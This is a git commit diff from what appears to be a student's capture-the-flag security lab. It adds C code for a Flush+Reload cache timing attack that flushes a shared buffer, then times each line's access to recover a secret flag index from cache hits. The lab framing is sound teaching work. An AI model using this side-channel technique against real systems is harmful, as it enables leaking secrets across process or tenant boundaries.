part2 ver 0.1

This commit is contained in:
ClF3 2024-11-04 19:29:19 +08:00
parent 5dd5cbb980
commit b2ad429c8c
1 changed files with 13 additions and 2 deletions

View File

@ -8,7 +8,8 @@
#include "util.h"
#define CACHE_HIT_THRESHOLD 200
#define WAIT_TIME 100
int main() {
int flag = -1;
@ -16,7 +17,17 @@ int main() {
char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here
for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128);
}
for(int i = 0; i < WAIT_TIME; i++);
for(int i = 0; i < 1024; i++) {
CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
if(time < CACHE_HIT_THRESHOLD) {
flag = i;
break;
}
}
printf("Flag: %d\n", flag);
deallocate_shared_buffer(buf);